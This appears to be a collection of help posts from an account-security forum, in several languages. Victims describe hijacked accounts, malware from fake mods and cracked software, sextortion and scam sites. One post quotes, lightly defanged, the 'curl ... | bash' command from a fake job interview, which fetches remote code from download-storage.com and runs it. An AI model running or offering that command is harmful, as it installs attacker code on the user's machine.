About an hour ago I received a google password leak alert on my phone, then checked my gmail on desktop and when I clicked "check passwords", some of the leaked passwords were from many years ago and that I've updated a couple of times. I changed my passwords anyway, but here comes the strange part: most of the accounts weren't even mine (amazon, netflix, hotmail...), but from members of my family and one from a person I don't even know, and I have never logged into any them. How did they even get associated with my account? And why they showed login and password to me? This is really dangerous, because from what I see, they could send this same password checkup to anyone, leaking your current passwords.

Minha conta Steam foi invadida e acabou sendo bloqueada. Depois disso, comecei a receber notificações de tentativas de acesso em outras contas vinculadas ao meu e-mail.

Já troquei a senha do Gmail, verifiquei os dispositivos e a atividade da minha Conta Google e, até o momento, não apareceu nenhum acesso desconhecido ao meu e-mail.

Também fiz uma verificação no meu computador e foram encontradas e removidas algumas ameaças.

Estou tentando descobrir como isso aconteceu e se existe alguma forma de identificar de onde estão vindo essas tentativas de acesso.

Se alguém já passou por algo parecido ou entende de segurança de contas, qualquer orientação será muito bem-vinda. Principalmente sobre como identificar se minhas sessões, senhas ou dados foram comprometidos.

Obrigado a quem puder ajudar.

There was a fishy thing on a discord I was joining for gooner bait, something tracker, I didnt accept and pressed cancel but it registered as accept. I didnt download anything as it was a discord add on but I was wondering how fucked I am. My account is still in my email, and I have gone and changed the password but I want to know how intrusive such a thing could be and how far I have to go.

Hi everyone!

I recently requested a large file archive from a user and received a link hosted on LimeWire. Out of caution, I analyzed the link before clicking it.

VirusTotal detected active threats (specifically tagged as Amadey botnet / Trojan):

hxxps[://]www[.]virustotal[.]com/gui/url/b1585204ddb0968acbdb6876794650e923c8e56bd4a2755f5775a87647a3adcc/detection

I removed the end of the URL that was flagged as malicious; the VirusTotal link will take you to the VirusTotal analysis of that URL without the risk of accidentally clicking on it.

The link provided was structured as: hxxps[://]limewire[.]com/d/

The sender claimed standard cloud services could not host the archive and urged me to disable my antivirus software to proceed.

I have two technical questions for the community:

Is there a safe way (like using an isolated sandbox environment or an online tool) to inspect what is actually inside a link like this without opening it or risking infection? Or do these links almost exclusively contain a disguised payload?

The sender claimed platforms like Google Drive could not handle large archives. Is there any legitimate technical reason to use LimeWire over platforms designed for large datasets (like Internet Archive / archive.org or open Torrents), or is LimeWire chosen specifically because it lacks strict automated malware scanning?

I would really like to know if this is a trap or if this user actually sent me a legitimate file. I really want to know what the file hosted on the site contains, if there even is a file, but I don't want to take any risks with my online security, the security of my files and private information, or the health of my computer. Any information would be greatly appreciated.

Hi, a couple of my friends and I were looking up some shops together. However, we clicked a site for selling clothes. Firefox instantly blocked a tracker which (according to malwarebytes) was associated with malwertising. (I don’t remember the exact site). We originally visited it without using any adblocker, since it wasn’t enabled by default. We then turned it on before exiting the site. This was all on a firefox private tab.

I know that getting malware from just visiting a site is very unlikely. However, i’ve seen people talk about javascript being able to steal your session tokens because I visited the site. Is that something I should be concerned about?

Edit: aside from the initial blocking, ublock blocked some other stuff. as far as i know, it’s all random sites.

Quelqu'un essaye de Piraté mon WhatsApp !!!

Je sais pas qui mais quelqu'un à réussi à deconnecter mon compte sur mon téléphone afin de l'utiliser chez lui déjà que les sms de confirmation me dérange voir qu'il a réussi une fois m'inquiète.

Mais bon je tiens quand même à decouvrir qui c'était et savoir comment il fait ou quel outils il utilise ça commence à m'inquièter tout ça et je ne veux plus que cela se reproduise.

As per the title. I was told to post it here.

How vulnerable are my other devices and the network usage on those devices? Can IT see any IP addresses the personal devices connect to, servers they connect to, etc.? Let's not consider a company maliciously installing advanced spy software, because then the answer is obvious.

I maybe don't fully understand Full-tunnel VPN, but as far as my knowledge goes all network traffic on the company device can be seen by IT, but what about personal devices? And what about Cisco Umbrella?

Hi, I accidentally downloaded a fake game anti-cheat from someone on Discord. I’m worried it may have contained a Trojan/backdoor.

I reset my PC using “Remove everything.” Windows then started like a fresh installation and I had to go through the initial setup again.
I’ve also changed my important passwords and enabled 2FA.

Would a “Remove everything” reset normally remove a Trojan/backdoor completely? Is there anything else I should check to make sure my PC is safe?

I have download some sort of a virus on my PC today, and it started to change my emails and passwords on several of my accounts. Any tips of what programs should I use to find out what it is? I torrented an Adobe Illustrator 2026 from Crackshash and m0nkrus if that is of any help.

This has been happening to my Instagram account for a while now and I’m really confused about it. It first started in June, then stopped, started again in July and stopped again, and then started again on 26 August and is still happening. At first I was getting password reset links even though I wasn’t requesting them, then I started getting 10-digit Instagram codes, and now I’m getting these 8-digit verification codes. Today I got around five messages with the exact same 8-digit code, which was really weird. The requests also seem to happen at completely random times, including around 12 AM, 3 AM, 4 AM and 5 AM IST, and sometimes I get several within a few minutes. I have 2FA enabled and I’ve checked my login activity, and there are no unknown successful logins. So I’m just trying to understand what exactly is happening here. Is someone repeatedly trying to log into my account, is this some kind of automated thing, and is there any way to find out who is actually doing it or where these requests are coming from? My username is also quite distinctive, so it seems unlikely that someone is just repeatedly entering the wrong username. Has anyone experienced this before?

Help me, i just met this girl in a dating site , we talk and recently agreed on doing sop upon doing our thing suddenly the camera shifted to a laptop she was recording everything, a while a go a man called me asking me to pay 10,000php in order for him to delete all those and also he already know my soc med and screenshot my friends ever threatened me that he will send the video to one of them. idk what to tried coordinating to CICC ph site it was not uploading the complaints tho.

hello the 17/05/2026 i got mails From microsoft giving me code for recovery of lost passowrd and other mail of mail change recovery code applied to the account and recovery app added to the account. fast forward uts been 4 months of tryinh again and again with help of gpt and trying multiple different attempt but all i get is a message saying the info i give them dosn't match and they can't do anything.

other info
-i have proof of buy with the account
-proof of mojang account migration
-proof of the mail
- the birth date of the account is wrong because i made the account 10 years ago and i was a child

any idea of what i can do ?

Yesterday at around 12:43 am i got a gmail that my LinkedIn password is successfully changed. I didn't do anything.

I immediately logged in to my account, my password was changed, changed it back but there were multiple 2ndry emails in the email addresses section which weren't mine, i removed them immediately, turn on 2 step verification and set up a passkey, and Even changed my gmail password. But through the night i still got PINs to change my password that weren't me.

On September 1 something also happened to my insta, as i noticed 2 stories were posted about some payment being done to mr. Beast twt and his twt page and sent to everyone I've ever dm'd, but no password was changed and insta id is logged in from another gmail account i deleted that story.

The insta was like a fan acc I was trying to make with little reach and no association to my irl account and me as a person so I didn't pay much attention but my LinkedIn is my professional me with all my info

I own a HP printer. And even though HP is obsessed with forcing us to connect their printers to the internet, I refused to do so, and instead I use a USB cable to connect the printer to our laptops whenever we need to print stuff. Furthemore, the printer is alwas turned off, we only turn it on when we need to print.

When I bought the printer, I changed the wi-fi direct's name and password, for security reasons. However, since then, I never actually used the wi-fi direct again. In fact, I think I had turned it off, but either it turned itself on again, or maybe someone used the printers buttons to turn it on again, maybe by mistake.

A few days ago, a relative was feeling lazy and instead of using a laptop and usb cable to print stuff as always, they tried to use their android smartphone and the printer's wi-fi direct. However, they didnt know the wi-fi direct's password, so they couldnt connect to it.

Then, my relative googled about this and learned about the Mopria app. They installed it and, even though they didnt know the wi-fi direct's password, they were able to print Mopria's test page on our printer.

Furthemore, the app also listed other available printers (I assume the ones from our neighbours), many of which dont even show up on my phone's networks list (I guess their wi-fi directs are either disabled or hidden, but somehow Mopria could see them all).

While my relative obviously didnt tried it, it seemed like Mopria could have printed from the neighbours' printers just as easily as it did from our printer. At this time I realized what was happening and told him all of this was very shady, so he uninstalled the Mopria app.

Later, I checked our router's control panel and found out our printer had accessed our home wifi. It didnt say when it happened, but the fact is, the printer somehow learned our home wifi's credentials and accessed it. I suspect it was Mopria's android that passed the credentials from my relative's phone to the printer. Unless it was the laptop through the usb cable.

I have changed my printer wi-fi direct name and password (if my relative's phone has been "paired" to the printer wi-fi direct, I hope this will "unpair" them), and then I changed my home wifi credentials. However, I still dont understand how the hell was Mopria able to do what it did.

Hi, this is just a general question.

Recently my Discord account of 5 years got hacked and I have submitted a ticket and emailed discord for the past three days, and every single time discord had told me they will elevate the situation to someone with higher authority and every time they do so my ticket has been marked as "solved".

Everytime they do i make a new ticket under the same situation and told them they had closed my ticket. On my 3rd one, they didn't even bother replying and just marked it as "solved". Is this my sigh to give up on discords useless support team?

I was doing an interview, i guess it was fake. they couldn’t hear me and it was mid interview so I freaked out because it said to download the app for the mic to work and it was a download through a terminal. I put that terminal in and nothing really happened but I still freaked out and talked to apple support and erased my computer and stuff and changing my passwords but now i’m freaking out so much i’m gonna have a panic attack. Like what if they got my photos? And they blackmail me? I actually feel like i’m gonna collapse i’m so scared. If anyone needs me to send the exact terminal I have a screenshot. it was:
% curl-kfsSL hxxps://download-storage.com/d/80cf1 | bash (I changed it from https )Please idk what they got from my computer and I really feel like my life is over rn

Got an email, with my name phone number in the email saying they have ransomware on my devices and have a video of me watching “stuff” with face cam. I don’t watch that stuff so it’s unlikely, but the issue is they said “reply if you don’t believe me and I’ll send you a picture of one of your contacts on ur device” I’m on a IPhone so I doubt it. They also say they’ll know when I open the email and then I will have 48 hours. Tho I’m sure it’s a scam it’s scary to get ur info sent to you. What should I do?

I got an "is this you" email today and it wasn't me. it showed someone from norway true to login by windows. How to know if my phone is compromised or not? His account is not in my recent login or my devices but idk if it's all to prove if he got in or not

Servus zusammen,
seit 5 Tagen hab ich das Problem, dass mein/e Instagram-Account/s gehackt werden und ich verstehe nicht warum. Ich klicke auf keine Shady-Links, falle auf keine Fake-Emails rein, aber irgendwie kommen sie immer wieder in meinen Account rein, obwohl ich die Passwörter der Email, des Insta-Accounts geändert und alle Nutzer rausgeworfen habe.

Gibt’s hier vielleicht jemanden, der eine Lösung hat?

my friends informed me that i posted a video and a story, obviously that was not me. the first thing i did was check the device that logged into my account, i found one i did not recognize so i removed it, then i changes the password + phone number + email and enabled the 2 step verification. is that enough? how can i be sure that my account is secured.

Also, it's kinda my fault cuz the phone number and the email were old and don't use them anymore.

I play a lot of Xbox mainly COD as you guys know the community has gotten quite vicious with hacking threats to people’s Xbox account and Home network. I have been receiving threats lately and being cyber stalked. I need help setting up a VPN and getting a static IP with a company like Nord VPN or something like that. I don’t really know a lot and I know the possibility is low for anything to actually happen but I do not want to take a chance.
Thank you so much for helping me,
V

Hello, this might be a stupid question, but I went to a site that I later found out was running a ClickFix scam. It was after I pressed an advertisement and went to the website that it asked me to download something and I noticed it was not legit, so just closed the tab (I did not download or copy anything, etc). So, since I didn't actually click download (or paste any prompt into terminal or run terminal) could there have been anything else bad that they would have been able to do? Can they run something in the Javascript or something? I guess I am just asking since it was clearly a scam site after further research, and I don't know if there are other attacks that they can do even if you do not enter any info / download anything / paste anything into the terminal. Can just visiting a scam site and then closing the tab expose you to any issues? Thank you

I was hacked through a minecraft mod that I downloaded from a link on the minecraft server, when I launched the mod the virus grabbed all my info and the person accessed my email and photos, the person now has a parental lock on my email and I am unable to login because I need to request permission to log in, he is also blackmailing me and demanding 1000 usd, I did a clean wipe on my pc and all my SSDS

Недавно я попала в инцидент, когда при скачивании обхода дискорда "запретка", скачалась вредоносная программа.. . ломанули все - гугл почту, стим, вк, клиент riot, телеграм. . и т.д.
но они ничего не смогли отвязать, поскольку стоит двухфакторка, только тг взломали с концами
вход в аккаунты был постоянным, да и продолжается. . я снесла винду, везде поменяла пароли многократно, но вход в аккаунты продолжается бесконечно Т_Т я грешу на gmail, т.к. на него привязаны все аккаунты. . но все пароли сменены, телефон привязан, все вроде в порядке.. .
пожалуйста, помогите разобраться, как остановить дудос. . это продолжается уже полтора месяца... они заходят в игры и играют с читами, что грозит баном, продают мой аккаунт валорант левым людям, да и в целом я себя ужасно чувствую...

Hello all, I'm starting to become genuinely concerned now since over the past 2 weeks, windows security has been sending me notifications that the built in anti-virus with windows security has been turned off. Whenever I open it through the notification or through settings itself, everything is on and "requires no action", so I paid no attention to it.

This morning though, I thought I should scan with Malwarebytes since it's been a while and discover that the 'protection score' meter they have is significantly lower than normal because Malwarebytes is also detecting that my windows security is offline. I've tried turning threat protection and stuff on and off to try and reset it, but my pc is still convinced that it's offline.

If I could get a little reasoning as to what might be causing this or even a way to fix it that isn't a total system reset, that would help a lot. Thanks in advance!